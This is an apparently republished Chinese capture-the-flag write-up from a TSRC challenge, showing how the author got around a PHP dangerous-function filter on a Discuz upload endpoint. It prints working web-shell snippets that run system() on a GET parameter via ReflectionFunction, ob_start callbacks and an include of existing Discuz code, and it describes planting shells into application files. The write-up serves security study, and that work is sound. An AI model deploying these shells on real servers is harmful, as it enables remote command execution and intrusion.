Heim  >  Artikel  >  php教程  >  TSRC挑战赛: PHP防御绕过挑战实录

TSRC挑战赛: PHP防御绕过挑战实录

WBOY
WBOYOriginal
2016-06-06 20:13:57798Durchsuche

前一段时间有幸参加了由TSRC发起的一个挑战赛。目标环境运行着一个正常的discuz应用,并且存在一个上传接口,该接口允许上传任意文件, 但限制了大部分危险的PHP函数, 比如system、scandir、eval等。在服务器上放置了一个flag文件, 目标是通过上传的PHP文件找

前一段时间有幸参加了由TSRC发起的一个挑战赛。目标环境运行着一个正常的discuz应用,并且存在一个上传接口,该接口允许上传任意文件, 但限制了大部分危险的PHP函数, 比如system、scandir、eval等。在服务器上放置了一个flag文件, 目标是通过上传的PHP文件找到该flag文件。

毕竟这是一场比赛,而且如果排名考前,还有丰厚的奖励。根据规则, 相同的利用方式以第一个提交的算分。正所谓先下手为强,所以在挑战刚开始后,就马上拿出自己珍藏多年的秘密武器,——PHP反射,相关内容可参考:

http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php。

简单使用方法如下:

<span style="color: #000000; font-weight: bold;"><?php</span>
<span style="color: #000088;">$func</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> ReflectionFunction<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">"system"</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$func</span><span style="color: #339933;">-></span><span style="color: #004000;">invokeArgs</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">"<span style="color: #006699; font-weight: bold;">$_GET[c]</span>"</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?></span>

上面的php代码等价于

<span style="color: #000000; font-weight: bold;"><?php</span>
<span style="color: #b1b100;">echo</span> <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span>c<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?></span>

首战告捷!第一个shell上传成功,并非常顺利的在目标服务器找到flag文件。顺利拿到5分。

大招使完以后, 后面的日子就不好过了。

最开始想到的就是利用各种变形,快追平孙猴子的72般变化了。变了几天以后,还是没有进展。

此时开始反思,危险函数的调用检测是如何实现的?如果在函数的实现层做检测,不管怎么变形,都会殊途同归,继续变下去是没有任何意义的。

回到前面ReflectionFunction的利用,成功的执行了system函数,有力的说明访问system函数并非只有一条路可走。

除了反射外, php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.具体说明可参考:http://www.php.net/manual/en/function.ob-start.php

简单利用如下:

<span style="color: #000000; font-weight: bold;"><?php</span>
<span style="color: #000088;">$cb</span><span style="color: #339933;">=</span> <span style="color: #0000ff;">'system'</span><span style="color: #339933;">;</span>
<span style="color: #990000;">ob_start</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cb</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span>c<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">ob_end_flush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?></span>

上面代码等价于

<span style="color: #000000; font-weight: bold;"><?php</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span>c<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?></span>

这样,第二次成功绕过危险函数的检查,并成功执行命令。

php中支持callback的函数还有很多,比如
array_map,array_filter, array_reduce
usort(),uksort()
array_walk()等

比如,@BlackYe同学就使用了支持回调的array_diff_ukey

还有xml解析相关的多个函数也支持callback,只不过传递给回调函数的第一个参数为xml解析对象, 没有合适的利用场景。

前面利用PHP中两种不同的实现达到了调用system函数执行系统命令的目的,由于没有直接使用PHP中的system函数,从而绕过防护系统的检查,成功执行系统命令。

那还有没有第三种方法可以绕过呢?

要想绕过,必须弄清楚是如何实现的(或者说要是自己实现这样的一个系统,会采用什么样的方法)。

接下来就需要通过猜想,提出假设,并逐步验证自己的想法。

1. 为了便于操作和验证,前期做了一些准备。因为每次上传后的文件名是不同的,也就是利用上传在服务器上的固定目录创建几个包含常用功能的PHP脚本。大致包括:

1) copy.php 用于文件复制和移动;
2) sql.php 用于数据库操作;
3) read.php 用于读取文件内容, 主要用于确认上传的文件内容是否正确;
4) stat.php用于获取文件或目录的用户权限和读写权限;
5) shell.php 用于调用其他php函数。

2. 准备完这些工具以后, 开始猜测检测原理

疑问1:是否允许执行危险函数与文件所在目录有关呢?

因为上传后的文件所在目录是固定的, 所以首先猜想是否与目录有关。于是,利用先前上传的几个PHP工具, 在已正常运行WEB应用的目录下找到可写的目录, 并将上传的PHP文件移动到该目录, 结果以失败告终。

疑问2:是否设置了白名单,后续上传的文件都不允许执行危险的PHP函数?

将shell写入WEB应用已有的文件中。拿下后台, 并将shell写入到WEB应用已有的代码文件中. 结果还是失败了

疑问3:某些函数禁用了,已经搭建好的应用是否受影响呢?

对应用的代码做了一番审计,找到使用了被禁用的PHP函数的代码部分,发现功能并不受
影响。就是说服务器已有代码并没有经过修改且运行正常。而新上传或者被修改过的文件,危险函数就会被禁用

疑问4:区别在哪里?

用准备好的脚本stat.php列举了已有PHP文件和新上传PHP文件的文件权限,发现权限不同。

疑问5:服务器对PHP函数中的危险函数的检查,是否是判断调用这些函数的PHP文件属主?

方法一:
比如已安装WEB应用中的代码中存在b.php include a.php的代码,将shell写入a.php中,通过访问WEB应用b.php,
发现a.php中写入的shell代码并没有执行。
说明判断文件的属主是直接调用危险函数的文件

方法二:
通过上传入口,上传a.php, 在a.php中includeb.php, b.php是WEB应用已有的代码,并调用了危险函数(如system)。
利用代码如下:

<span style="color: #000000; font-weight: bold;"><?php</span>
<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'IN_DISCUZ'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'IN_MODCP'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DISCUZ_ROOT'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'/tmp/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">chdir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'../upload/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$_G</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cache'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'forums'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$_G</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'keyword'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #0000ff;">"xxxxxx"</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$cpscript</span><span style="color: #339933;">=</span><span style="color: #0000ff;">""</span><span style="color: #339933;">;</span>
 
<span style="color: #000000; font-weight: bold;">function</span> lang<span style="color: #009900;">&#40;</span><span style="color: #000088;">$in</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$in</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
 
<span style="color: #000000; font-weight: bold;">function</span> multi<span style="color: #009900;">&#40;</span><span style="color: #000088;">$in1</span><span style="color: #339933;">,</span> <span style="color: #000088;">$in2</span><span style="color: #339933;">,</span> <span style="color: #000088;">$in3</span><span style="color: #339933;">,</span> <span style="color: #000088;">$in4</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
 
<span style="color: #000000; font-weight: bold;">function</span> dhtmlspecialchars<span style="color: #009900;">&#40;</span><span style="color: #000088;">$in</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$in</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
 
<span style="color: #b1b100;">include</span> <span style="color: #0000ff;">"source/include/modcp/modcp_log.php"</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dir</span><span style="color: #339933;">=</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">dir</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ext</span><span style="color: #339933;">=</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span>ext<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span>get_log_files<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ext</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?></span>

执行成功,再一次拿到5分。

以上是本人参加这次挑战赛作为攻方如何绕过防御的一些经验分享,有不足的地方请见谅,如有任意疑问或建议欢迎联系TSRC白帽子“雪人”切磋交流。期待未来有更多的机会参与这种对抗赛。

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Vorheriger Artikel:PHP正则表达式的使用技巧Nächster Artikel:实现PHP链式操作